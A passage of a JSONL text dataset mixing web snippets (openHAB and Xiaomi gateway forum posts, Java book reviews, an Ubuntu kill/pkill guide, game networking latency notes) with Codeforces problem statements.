fix this I bought a Conbee II stick from Deconz https://www.phoscon.de/de/conbee2. It’s 40€. The stick then gets connected to openhab via the Deconz binding\nThanks @Felix_Schneider that’s at least an alternative idea. However my four USB ports on the server are already used and there are also three of them attached to the openHAB bindings. At some point it becomes difficult to use USB connections to control everything.\nI mean there is huge amount of people working on SmartHome initiatives but there is still to much own box thinking.\nI can access the gateway even through the outher space, beeing on the road, but I’m not able include it into the central control unit. Seems somehow weird…\nAs far as I understand, its due to a specific port beeing closed in the firmware. You´ll need to open that for the openhab bindig to find it, second there are some permission settings which I think needs to be altered. And last, you´ll need the token.\nI dont think its possible to du beside going in hard-wired (serial interface). Why Xiaomi chose to do it like this, and not like the older gateway version is still in question. I have on of the older ones, and I have to admit, I have had thoughts about going away from these gateways, simply because I cant count on the one I have now will work forever. And changing to a newer version will end in the same situation you´re in.\npython-miio is able to control the devices, without the restriction on firmware as far as I can see.\nHence don’t see why miio binding would not be able to communicate with the device as it uses same communication method\nI will give it a try with my gateway, Marcel. I first need to get some debug logging for the modbus binding up running first, cause there seem to be some serious issue with it. Then I´ll return to try the miio binding with my gateway.\nNext step is to find out how to activate port 9898 on the device or find another approach to do the same.\nI can see that 9898 is not active listening…\nAs on other pages written, the system on this version of Mi Smarthome hub (gateway) also referred as v4 works differently. And there seems to be no way to get a developer key from somewhere. Further more I cannot identify which service on the device would be related to to port 9898.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 776, "token_count_with_eod": 777, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’ve just posted my review of “EJB 3.1 Cookbook” over on Develop In Java.\nEJB 3.1 Cookbook is an excellent resource in an EJB developer’s library. It’s not the sort of book you pick up and read from cover to cover rather a useful resource that you pick up when you think “How do I do xxx in EJB?”. With over 100 recipes this book is recommended to developers using EJB technologies.\nI very much liked this book and can imagine using it frequently. You can read the whole review here.\nJames Sutherland has published a blog post showing how to significantly increase JPA performance.\nIn the post, he provides 11 different optimizations, such as pagination and query caching that can be applied to JPA. The EclipseLink JPA 3.2 implementation of JPA is used throughout the post.\nThis is a good article and well worth reading by anyone that develops database systems using JPA.\nPackt Publishing have recently released two new books of interest to Java EE developers.\nEJB 3.1 Cookbook and Java EE6 With NetBeans 7 both look like good reads and Packt have graciously agreed to send me a copy of each of these books for review, which I’ll post on the site as soon as I’ve reviewed them.\nThanks to Nicole for sorting this out for me.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 288, "token_count_with_eod": 289, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The other day I was editing a httpd.conf file and wanted to comment a large section. On the server I was using the comment syntax wasn’t setup for these types of files.\nSo, to quickly accomplish I just needed to set the comment-start variable to “#”.\nM-: (setq comment-start \"#\") RET\nThen with the block marked, a comment-region worked perfectly.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 80, "token_count_with_eod": 81, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We have developed a simple managment and analysis tool, called Dr.Bookings.\nIts OpenSource and free-of-charge.\nFor our needs it is already working very good, but we would like to get some more feedback if it is suited for a more general audience.\nIf you are interested, just download the latest release and give it a try!\nFree technical support guaranteed in exchange for feedback!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "i am interested in learning kufic script.\nI am amazed with the work and its heart touching and eye catching.\nIt surely deserves recognition and its appreciable in all its styles.\nCan anybody suggest some reading work for me to start learning?\nThere are some teaching books from our website You may provide it for your learning.\nYour email address will not be published. Required fields are marked *\nCurrent ye@r *\nLeave this field empty", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 94, "token_count_with_eod": 95, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Peter Myers has been working with Microsoft database and development products since 1997. Today he specializes in Microsoft Business Intelligence and provides mentoring, technical training and course content authoring for Microsoft SQL Server and Microsoft Office. Specifically, he works with SQL Server Integration Services, SQL Server Analysis Services (data modeling and data mining), SQL Server Reporting Services, Microsoft Excel, PowerPivot and PerformancePoint Services.\nHe has a broad business background supported by a Bachelor degree in applied economics, and he extends this with current MCITP and MCT certifications. He has been a SQL Server MVP since 2007.\nPeter is an established presenter and enjoys sharing his enthusiasm for Microsoft products by presenting in classrooms and at user group meetings, technical events and conferences.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We can't find the page you are looking...\nMOST LIKELY CAUSES:\nThere might be a typing error in the web address\nIf you clicked on a link, it may be out of date\nTHINGS YOU COULD TRY:\nRetype the address Go back to the previous page\nGo to our Home page and look for the information you want", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ansgar Burchardt dijo [Sun, Jun 10, 2012 at 01:57:49PM +0200]: > Hi, > > (Please send followup messages to -project.) > > The ftp team wants to change how allowing Debian Maintainers to upload > packages works. The current approach with the DM-Upload-Allowed field > has a few issues we would like to address: > (...) Hi, Hmm, this looks interesting, and useful. I'd like to add a bit as a wishlist item: Having this DB easily queriable (i.e. a webpage where you can query by key to see all the packages uploadable by a given key). And just thinking about possible complications: I *hope* we don't see any such behaviour, but this format would allow a DD to \"censor\" a given DM's activity. If I send \"Deny\" actions with somebody's key, it ends up blocking that person until somebody else is convinced to send corresponding \"Allow\" commands. Of course, if we see any such behaviour (repeatedly?), I might be reprehended and maybe even locked out of sending requests to this subsystem. Thoughts on this? Finally, it's interesting to me (as keyring-maint) that you are specifying the fingerprint. Of course, it makes sense. But it can make key migration (i.e. a DM moving from a 1024D to a 4096R key, or reacting to a key being compromised) as a more difficult thing, as the new key would first have to be inserted by us into the live keyring and only then the old key denied and the new one allowed. I guess we could automate this procedure when performing the keyring push... Anyway, and modulo the time it takes to implement all the needed bits (and discussion), thanks for a nice new idea, and hope to see it go forward!\nDescription: Digital signature", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 407, "token_count_with_eod": 408, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a book with $$$n$$$ chapters.\n\nEach chapter has a specified list of other chapters that need to be understood in order to understand this chapter. To understand a chapter, you must read it after you understand every chapter on its required list.\n\nCurrently you don't understand any of the chapters. You are going to read the book from the beginning till the end repeatedly until you understand the whole book. Note that if you read a chapter at a moment when you don't understand some of the required chapters, you don't understand this chapter.\n\nDetermine how many times you will read the book to understand every chapter, or determine that you will never understand every chapter no matter how many times you read the book.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Keystore not initialized RemoteException in Method: getLocalJ2EEKeyStore\nI'm running into a weird error which reads -\nThe keystore service_ssl has not been initialized(loaded) -\nRemoteException in Method: getLocalJ2EEKeyStore(). The JNDI Look-Up for the Keystore failed.\nI followed all instructions to create a Key value pair and have placed it under service_ssl view in Key Storage under Cluster in Visual Admin.\nI checked accessing the https url for XI server to test if the CA was working fine and that worked fine.\nI'm trying to do a File to RNIF scenario (for testing RNIF adapter)..and running into this issue.\nHave anybody come across this error? How do I activate Key storage view?\nThanks in advance.\nYou need to assign the role for that.Do the following.\nsecurity provider--keystore.default--securityroles--in users add xiafuser,xiappluser security provider--sap.com/tc~sec~wssec~app*wssprocess.jar--securityroles--in users add xiafuser,xiappluser", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 231, "token_count_with_eod": 232, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Information about upgrading\nAll releases can be found on GitHub.\nUpgrading from 0.2.0 to 0.2.1\nIn this version, a more generic custom template functionality has been introduced. This deprecated the\ntemplate-xyz.twig. More information about this new template feature can be found here.\nUpgrading from 0.1.0 to 0.2.0\nImportant note when upgrading to 0.2.0\n- Removal of loading theme specific directory via\n- Autoloading Core and Theme\n- No more\nIn 0.2.0. we implemented autoloading (spl_autoload_register) on the\nwordpress-objects directory within the Clarkson Core plugin and your Clarkson Theme. One should also do this within your own theme, so we highly suggest using Composer or another autoloading in your theme.\nOne breaking change is that the old glob’ing method of all your themes (\ntaxonomies directory) by Clarkson Core is removed.\nWe’ve build-in a quick-fix to maintain backwards compatiblity, but it’s disabled by default. To enable it add this in a file within your\nEnable via theme autoload filter\n<?php // Add to mu-plugins/clarkson-core-deprecated.php add_filter('clarkson_core_autoload_theme_pre_020', '__return_true');", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 278, "token_count_with_eod": 279, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "(Chicago Tribune photo by Bill Hogan, plucked from The Huffington Post–great link to the back story on the Tribune’s social media evolution)\nOne thing that irks me about most newspapers is their poor understanding on how to utilise Twitter as a social media tool for disseminating their news. Sure, a newspaper could look “cool and hip” by adding Twitter on their list, but it gets annoying fast when all the Twitter account does is spew out RSS feeds like a bot.\nSo far, local news orgs have been treating it like another channel of news alerts: @tm_insider, @thenutgraph, @thestar_rage, mostly employ it as a one-way communication tool. (If you ask me, @msiakini is the biggest irritant in this regard–the tweets are often cut short as headlines stretch over 140 characters- – with no link! WTF, seriously) Granted, while @nikicheong is getting there with The Star’s Rage in being human by putting more than headlines and a link in its Twitter post, there’s hardly a relationship built there. Read the rest of this entry »", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "CTAN Update: PT Serif\nThis package contains LaTeX support for the font PT Sans. - Added several Cyrillic letters that were missing in the encoding files but present in the fonts (some Cyrillic letters are not in Unicode or Adobe Glyph List). - The encoding files have more descriptive names now. Related package: ptsans\nThis package is located at http://mirror.ctan.org/fonts/ptserif . More information is at http://tug.ctan.org/info/?id=ptserif (if the package is new it may take a day for that information to appear). We are supported by the TeX Users Group http://www.tug.org . Please join a users group; see http://www.tug.org/usergroups.html . Thanks for the upload. For the CTAN Team Rainer Schöpf\nptserif – PT Serif font and LaTeX support\nThis package contains LaTeX support for the font PT Serif developed by ParaType for the project “Public Types of the Russian Federation”, and released under an open user license.\nThe fonts are included in this distribution, in TrueType format and as converted Type 1 format (as kindly allowed by ParaType). The fonts provide coverage of the T2* and X2 encodings, and partial coverage of T1 OT1, TS1 and IL2 (sufficient for typesetting text in Czech and Slovak languages — the purpose of encoding IL2).\nThis package is now obsolete; users should seek the paratype bundle in its place.\n- 2011-03-11 CTAN Update: ptserif\n- 2011-03-01 CTAN Update: PT Serif\n- 2011-02-16 CTAN Update: PT Serif\n- 2011-02-10 CTAN Update: PT Serif\n- 2011-02-03 New CTAN package: ptserif", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 403, "token_count_with_eod": 404, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I was able to import one zipped file (filled with one of the tutorial data) and am trying to import another, but I can't seem to get the same result. It's not importing the second zipped file and expanding out the folders like it did the first time. Is there something I'm doing wrong?\nImporting a zipped archive project via the 'import archive' unzips the file and copies the content (the actual project) in the currently active workspace. Doing this for multiple projects should do the same for each zip file.\nCan you maybe show a few screenshots with each step and what happens ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array $$$a$$$ of length $$$2n$$$, consisting of each integer from $$$1$$$ to $$$n$$$ exactly twice.\n\nYou are also given an integer $$$k$$$ ($$$1 \\leq k \\leq \\lfloor \\frac{n}{2} \\rfloor $$$).\n\nYou need to find two arrays $$$l$$$ and $$$r$$$ each of length $$$\\mathbf{2k}$$$ such that:\n\n- $$$l$$$ is a subset$$$^\\dagger$$$ of $$$[a_1, a_2, \\ldots a_n]$$$\n- $$$r$$$ is a subset of $$$[a_{n+1}, a_{n+2}, \\ldots a_{2n}]$$$\n- bitwise XOR of elements of $$$l$$$ is equal to the bitwise XOR of elements of $$$r$$$; in other words, $$$l_1 \\oplus l_2 \\oplus \\ldots \\oplus l_{2k} = r_1 \\oplus r_2 \\oplus \\ldots \\oplus r_{2k}$$$\n\nIt can be proved that at least one pair of $$$l$$$ and $$$r$$$ always exists. If there are multiple solutions, you may output any one of them.\n\n$$$^\\dagger$$$ A sequence $$$x$$$ is a subset of a sequence $$$y$$$ if $$$x$$$ can be obtained by deleting several (possibly none or all) elements of $$$y$$$ and rearranging the elements in any order. For example, $$$[3,1,2,1]$$$, $$$[1, 2, 3]$$$, $$$[1, 1]$$$ and $$$[3, 2]$$$ are subsets of $$$[1, 1, 2, 3]$$$ but $$$[4]$$$ and $$$[2, 2]$$$ are not subsets of $$$[1, 1, 2, 3]$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 412, "token_count_with_eod": 413, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Re: Firewalls and CU-Seeme\nRichard Cogger (R.Cogger@cornell.edu)\nFri, 23 Sep 1994 12:01:07 -0400\nAt 10:20 AM 9/23/94, <firstname.lastname@example.org> wrote:\n>Has anybody written (or considered writing) a proxy server for CU-Seeme?\n>My request to have UDP port 7648 turned on was turned down; I enjoy the\n>use of CU-SeeME at work - but only when I'm on the other side of our firewall.\nWhat you might try doing is to get your security admins to run a reflector\non the same machine (or in parallel) as the firewall. That wouldn't allow\nyou to connect out, but you could get others to connect in to you. In a\nfuture version, we may provide the means to have a reflector establish\nconnections when stimulated by an appropriately identified participant.\nAnyway, you can point out to the security folks that the reflector is\navailable in source, so they can inspect it to be sure it doesn't do\nanything they don't want done.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 258, "token_count_with_eod": 259, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vladimir wants to modernize partitions in his office. To make the office more comfortable he decided to remove a partition and plant several bamboos in a row. He thinks it would be nice if there are n bamboos in a row, and the i-th from the left is ai meters high.\n\nVladimir has just planted n bamboos in a row, each of which has height 0 meters right now, but they grow 1 meter each day. In order to make the partition nice Vladimir can cut each bamboo once at any height (no greater that the height of the bamboo), and then the bamboo will stop growing.\n\nVladimir wants to check the bamboos each d days (i.e. d days after he planted, then after 2d days and so on), and cut the bamboos that reached the required height. Vladimir wants the total length of bamboo parts he will cut off to be no greater than k meters.\n\nWhat is the maximum value d he can choose so that he can achieve what he wants without cutting off more than k meters of bamboo?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Pari wants to buy an expensive chocolate from Arya. She has n coins, the value of the i-th coin is ci. The price of the chocolate is k, so Pari will take a subset of her coins with sum equal to k and give it to Arya.\n\nLooking at her coins, a question came to her mind: after giving the coins to Arya, what values does Arya can make with them? She is jealous and she doesn't want Arya to make a lot of values. So she wants to know all the values x, such that Arya will be able to make x using some subset of coins with the sum k.\n\nFormally, Pari wants to know the values x such that there exists a subset of coins with the sum k such that some subset of this subset has the sum x, i.e. there is exists some way to pay for the chocolate, such that Arya will be able to make the sum x using these coins.", "source": "cpt_codeforces", "language": "en", "token_count": 199, "token_count_with_eod": 200, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The \"ip access-group\" command will block someone from connecting to that network but not from the route appearing in the routing table.\nAs I understand it, you want to prevent the route from appearing in the routing table (which would ultimately prevent all access to the network, even without an ip access-group statement).\nTo do this, block it when you redistribute it using a route-map or you block it when it comes into a router, downstream, using the distrbute-list command.\nEither way, the ip access-group statement doesn't keep the route from appearing in the routing table.\nI know you said that you don't want to use a distribute list or route-map (I don't see that you need tags in this case) but that seems like the best way to do it.\nIs this from some kind of test question? (when you say that you don't want to use the obviously best method, that hints to me that it is from a test question).\nIf you still have more questions, please post and maybe we can figure it out together.\nKeep Up with TechRepublic", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Polycarp has a rectangular field of $$$n \\times m$$$ cells (the size of the $$$n \\cdot m$$$ field does not exceed $$$10^6$$$ cells, $$$m \\ge 2$$$), in each cell of which there can be candy. There are $$$n$$$ rows and $$$m$$$ columns in the field.\n\nLet's denote a cell with coordinates $$$x$$$ vertically and $$$y$$$ horizontally by $$$(x, y)$$$. Then the top-left cell will be denoted as $$$(1, 1)$$$, and the bottom-right cell will be denoted as $$$(n, m)$$$.\n\nIf there is candy in the cell, then the cell is marked with the symbol '1', otherwise — with the symbol '0'.\n\nPolycarp made a Robot that can collect candy. The Robot can move from $$$(x, y)$$$ either to $$$(x+1, y+1)$$$, or to $$$(x+1, y-1)$$$. If the Robot is in a cell that contains candy, it takes it.\n\nWhile there is at least one candy on the field, the following procedure is executed:\n\n- Polycarp puts the Robot in an arbitrary cell on the topmost row of the field. He himself chooses in which cell to place the Robot. It is allowed to put the Robot in the same cell multiple times.\n- The Robot moves across the field and collects candies. He controls the Robot.\n- When the Robot leaves the field, Polycarp takes it. If there are still candies left, Polycarp repeats the procedure.\n\nFind the minimum number of times Polycarp needs to put the Robot on the topmost row of the field in order to collect all the candies. It is guaranteed that Polycarp can always collect all the candies.", "source": "cpt_codeforces", "language": "en", "token_count": 385, "token_count_with_eod": 386, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "For me, this (lag) can be split into 4 different areas:\nEfficiency of the transport protocol: At the moment the game uses TCP. We’ve discussed internally exploring using UDP for some data packages. But the trade off isn’t a trivial selection. If there is time later in development we’ll look at UDP as an optimisation step for some data.\nOverhead of the client and server dispatch and receiving services: There isn’t much we can do about the OS network stacks (beyond server configuration) but there are likely opportunities for making the client and server handle networking more efficiently. (Speed up SSL, compression, reduce bundling of data, synchronise more intelligently during the frame, etc) Often with online games simply getting networking working is the priority. But I think we have some decent head room to improve this area.\nPhysical distance between client and server: Sorry, we can’t do anything about the speed of light. + = +\nMechanism for hiding latency: This is our biggest opportunity. As we’ve discussed in other threads the client does extensive prediction to try and hide the latency. Hopefully the client predicts correctly and when the server finally responds with the actual outcome, no correction is required. If the server responds with a different outcome, the client again does its best to hide the correction. Sometimes the correction is hard to spot, for example, a creature’s position is gradually corrected over subsequent frames. Sometimes the correction is binary, you either did or didn’t die, whoopsie the client got it wrong and snap you’re dead.\nInterestingly the client is often able to work with the server and make predictive predictions about entities. The following configurations exist:\nUnknown simulation of another player: the client doesn’t know anything about what another player will do. It only knows what it did in the past. So the client can only extrapolate their future position based on their recent movement. A running player is likely to continue running. But the client can’t predict when they’ll stop, or jump, or shoot. (This is why player-player grappling hooks, player-player collision, etc, are latency bound.)\nLocal simulation: the client can also run a simulation of the entities locally. If the simulation is deterministic, than the client can predict what an entity will do next by duplicating the servers simulation locally. This gives the client a good prediction. But other players can introduce noise into the system that will alter the entities actions on the server. (See #1). But in general if the player is roughly alone, the prediction hides the latency. Blocks will appear in your inventory before the server allows them. Creatures will die before they’re dead. Etc.\nTemporal Announcements: the most stable prediction is when the server actually tells the client in advance what will happen. This is a special case where we can (kindof) run the simulation ahead on the server. The server then communicates to the client, the future movement + actions of the entity. This means that when the client is making predictions it already knows that will happen on the server. We can do this for certain larger entities that the players can’t really effect. (Go ahead and read between the lines here - @tahru cough )\nIn short - we’ve made a big effort on hiding the lag - explicitly because the game is played online. Servers all around the world wouldn’t be possible without attempting to hide the latency. Whilst we know there are still some issues (rubber banding reported by players) - if we were ever to turn off the prediction you would instantly notice the difference, especially on remote servers.\nConcurrent players is mainly limited by the simulation cost of the players and the entities surrounding them, and the CPU performance of the server. (So nothing really to do with latency.) Interestingly there is a trade off here, because we want the creatures to do cool things, but this often means more expensive entity code.\nHowever, we’ve designed the game to mainly scale by having more worlds (ie. more servers), rather than by having (fewer) more powerful servers. This is an extremely common model for large scalability online.\nAt the moment, it’s hard to predict the # of concurrent players because 1. we’re still making the game, 2. we’ve not defined what hardware we’re benchmarking against. I’ve set the team an initial target of having over 100 players per core. Later in development, we’ll share some more metrics about server performance because this will be important for modders and hosts.\nUPDATE: Additional important point here. When players (and potential players) beat the development progress of the game up as being too slow - it’s often stuff like this that they don’t see. It would have been waaaaay quicker to not include any prediction. All the combat, ranged combat, block damage + placement, (basically everything) would have been much simpler to implement. But then the game wouldn’t have been scalable to play around the world. You’d not be able to seamlessly walk between servers in EU, NA and Aus. Lots of stuff is going on under the covers.\nThanks for the thorough answer! I realize I snuck in many questions on that one. 100 users per server is more than respectable. Plus, you are deploying on AWS, which can scale geographically as well as in several hardware and network ways.\nI can only imagine the technical challenges as lag is not something I have had to deal with beyond slow consumer issues.\nI guess this is a good a time as any to ask whether the immense lag is exclusive to me. I may have a 1mbps connection, but it still functions in most games. But I’ve literally not been able to play Oort due to lag.\nI switch to an item in my hotbar and it goes back to the previous one, I open my inventory and it instantly closes or I try to close my inventory and it opens back up again, I try to build and everything disappears, or I may try to walk but I get stuck/get put back.\nIs it just a problem with network optimization, or is it my location? (Arizona, USA)\nIf the server doesn’t respond to the client within 500ms (0.5 seconds) then the client assumes the response isn’t coming and reverts the prediction. (Placing blocks, switching item, movement - are all predicted.)\nAs many players can play without this issue (and given the information above explaining that the game is still in development) - I would initially suspect your connection.\nFirstly, try playing on the servers closest to you. (Sorry - obvious I know.)\nAre you playing via Wireless? This will add latency.\nWell I seem to be experiencing the issues on all servers, including ones closest to me. I haven’t tested it lately, but maybe I do get less lag on servers closer to me. Unfortunately, I can’t test the game as I don’t have a PSU for my PC, but my computer was previously wired into a router, so I guess you could say I’m not playing wireless.\nI’ll conduct some more tests when I have my computer back, so I’ll see to informing you whenever that happens.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1484, "token_count_with_eod": 1485, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "They say that Berland has exactly two problems, fools and roads. Besides, Berland has n cities, populated by the fools and connected by the roads. All Berland roads are bidirectional. As there are many fools in Berland, between each pair of cities there is a path (or else the fools would get upset). Also, between each pair of cities there is no more than one simple path (or else the fools would get lost).\n\nBut that is not the end of Berland's special features. In this country fools sometimes visit each other and thus spoil the roads. The fools aren't very smart, so they always use only the simple paths.\n\nA simple path is the path which goes through every Berland city not more than once.\n\nThe Berland government knows the paths which the fools use. Help the government count for each road, how many distinct fools can go on it.\n\nNote how the fools' paths are given in the input.", "source": "cpt_codeforces", "language": "en", "token_count": 197, "token_count_with_eod": 198, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Polycarp studies in Berland State University. Soon he will have to take his exam. He has to pass exactly $$$n$$$ exams.\n\nFor the each exam $$$i$$$ there are known two days: $$$a_i$$$ — day of the first opportunity to pass the exam, $$$b_i$$$ — day of the second opportunity to pass the exam ($$$a_i < b_i$$$). Polycarp can pass at most one exam during each day. For each exam Polycarp chooses by himself which day he will pass this exam. He has to pass all the $$$n$$$ exams.\n\nPolycarp wants to pass all the exams as soon as possible. Print the minimum index of day by which Polycarp can pass all the $$$n$$$ exams, or print -1 if he cannot pass all the exams at all.", "source": "cpt_codeforces", "language": "en", "token_count": 171, "token_count_with_eod": 172, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a permutation $$$a_1, a_2, \\dots, a_n$$$ of numbers from $$$1$$$ to $$$n$$$. Also, you have $$$n$$$ sets $$$S_1,S_2,\\dots, S_n$$$, where $$$S_i=\\{a_i\\}$$$. Lastly, you have a variable $$$cnt$$$, representing the current number of sets. Initially, $$$cnt = n$$$.\n\nWe define two kinds of functions on sets:\n\n$$$f(S)=\\min\\limits_{u\\in S} u$$$;\n\n$$$g(S)=\\max\\limits_{u\\in S} u$$$.\n\nYou can obtain a new set by merging two sets $$$A$$$ and $$$B$$$, if they satisfy $$$g(A)<f(B)$$$ (Notice that the old sets do not disappear).\n\nFormally, you can perform the following sequence of operations:\n\n- $$$cnt\\gets cnt+1$$$;\n- $$$S_{cnt}=S_u\\cup S_v$$$, you are free to choose $$$u$$$ and $$$v$$$ for which $$$1\\le u, v < cnt$$$ and which satisfy $$$g(S_u)<f(S_v)$$$.\n\nYou are required to obtain some specific sets.\n\nThere are $$$q$$$ requirements, each of which contains two integers $$$l_i$$$,$$$r_i$$$, which means that there must exist a set $$$S_{k_i}$$$ ($$$k_i$$$ is the ID of the set, you should determine it) which equals $$$\\{a_u\\mid l_i\\leq u\\leq r_i\\}$$$, which is, the set consisting of all $$$a_i$$$ with indices between $$$l_i$$$ and $$$r_i$$$.\n\nIn the end you must ensure that $$$cnt\\leq 2.2\\times 10^6$$$. Note that you don't have to minimize $$$cnt$$$. It is guaranteed that a solution under given constraints exists.", "source": "cpt_codeforces", "language": "en", "token_count": 417, "token_count_with_eod": 418, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Kawashiro Nitori is a girl who loves competitive programming. One day she found a rooted tree consisting of $$$n$$$ vertices. The root is vertex $$$1$$$. As an advanced problem setter, she quickly thought of a problem.\n\nKawashiro Nitori has a vertex set $$$U=\\{1,2,\\ldots,n\\}$$$. She's going to play a game with the tree and the set. In each operation, she will choose a vertex set $$$T$$$, where $$$T$$$ is a partial virtual tree of $$$U$$$, and change $$$U$$$ into $$$T$$$.\n\nA vertex set $$$S_1$$$ is a partial virtual tree of a vertex set $$$S_2$$$, if $$$S_1$$$ is a subset of $$$S_2$$$, $$$S_1 \\neq S_2$$$, and for all pairs of vertices $$$i$$$ and $$$j$$$ in $$$S_1$$$, $$$\\operatorname{LCA}(i,j)$$$ is in $$$S_1$$$, where $$$\\operatorname{LCA}(x,y)$$$ denotes the lowest common ancestor of vertices $$$x$$$ and $$$y$$$ on the tree. Note that a vertex set can have many different partial virtual trees.\n\nKawashiro Nitori wants to know for each possible $$$k$$$, if she performs the operation exactly $$$k$$$ times, in how many ways she can make $$$U=\\{1\\}$$$ in the end? Two ways are considered different if there exists an integer $$$z$$$ ($$$1 \\le z \\le k$$$) such that after $$$z$$$ operations the sets $$$U$$$ are different.\n\nSince the answer could be very large, you need to find it modulo $$$p$$$. It's guaranteed that $$$p$$$ is a prime number.", "source": "cpt_codeforces", "language": "en", "token_count": 380, "token_count_with_eod": 381, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "To kill a process on Ubuntu, you can use the kill command or the pkill command. Here’s a brief overview of both methods:\n1. Using the kill command:\nTo terminate a process, follow these steps:\nFind the process ID (PID) of the process you want to terminate. You can use the ps command to list processes. For example, to find the PID of a process named “example_process,” use the following command:\nps aux | grep example_process\nOnce you have the PID, use the kill command to terminate the process. Replace PID with the actual process ID:\nIf the process does not terminate gracefully, you can use the -9 option to forcefully kill the process:\nkill -9 PID\n2. Using the pkill command:\nThe pkill command allows you to kill a process by its name. To kill a process named “example_process,” use the following command:\nSimilar to the kill command, you can use the -9 option with pkill for a forceful termination:\npkill -9 example_process\nPlease exercise caution when forcefully terminating processes using the -9 option. It may lead to data corruption or other issues if the process is performing critical operations. It is generally recommended to try a regular kill first and only resort to the -9 option if necessary.\nRemember that killing processes should be done carefully, especially if they are essential for the system’s stability or if they belong to system-critical services.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Job ikke fundet\nBeklager, vi kunne ikke finde jobbet du ledte efter.\nFind de seneste jobs her:\nLet me know if the following interests you: “Revolutionising the way people use personal secretaries/assistants by automating the their jobs” We are looking to build a mobile software which lets anyone outsource their PA tasks (attending calls, managing calendars & appointments etc.) Please go through the following use case for a better understanding:- Use case : [log ind for a...\nDesarrollar ecommerce para venta de electrónica (celulares).\nGuide needs to have screenshots for necessary steps and the wording needs to be different than the video, but capture the same concepts. So the video can be used as a guide, but cannot be copied word for word. [log ind for at se URL] Add \"I read the project description\" to the first time of your proposal so I know you read it.\nCollate and submit personal tax return\nSip to native dialer app Features 1. this app need to be working in the background 2. the app file will have with all configuration user password to register to our sip server so client do not need to use user and password 3. the app register it self with a remote sip server 4. the result for this app will be , our remote server send a c...\nI have IntPtr video stream. I need to play in WPF MediaElement. I found solution here [log ind for at se URL] I need someone can undestand well of video rendering and help me to build also for my solution something like this : [log ind for at se URL]\nI need a new website. I need you to design and build a website for my small business.\nAn iOS and Android App to change your stuff with the tinder swipe modus. give the worth of your product and swap it with everyone in your near.\ni need a trendy and cute outro for my youtube channell\nWe have a great long-term business to work with North America or Northern European Candidates at the moment. If you are based in this area, this job is right for you. If not, please don't apply. We don't want to wast of our time. We will immediately move forward to next step. Thanks.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "So I have been training myself to write different letters, words, drawings and thoughts with both hands simultaneously and I am making a fair amount of progress.\nI made this page to record how I am learning this skill before I forget how I learned it.\n- Start by drawing a circle with one hand and square with the other.\n- Think of the motions of the two hands as one motion.\n- Experiment with different pressure at different parts of the stroke.\n- Improve fine motor skills in left hand by writing without having the hand touch the paper. Also, practice writing on vertical surfaces.\n- Characters with subtle differences are good practice. Try drawing an S with one hand and a 5 with the other.\n- Think about formatting/alignment too.\n- Move your arms when you write! Both of them.\n- Learn to anticipate potential pencil slips so you know where to adjust.\n- Don’t press to hard.\n- Don’t hesitate to focus.\nRight now I am working on applying this with more abstract thoughts:\nI am starting with characters as the units to write simulateously, then graduate to words, sentences…\nWhen I try to hold two different thoughts in my mind at the same time the two thoughts become one thought. I want to continue practicing this to see where it takes me.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
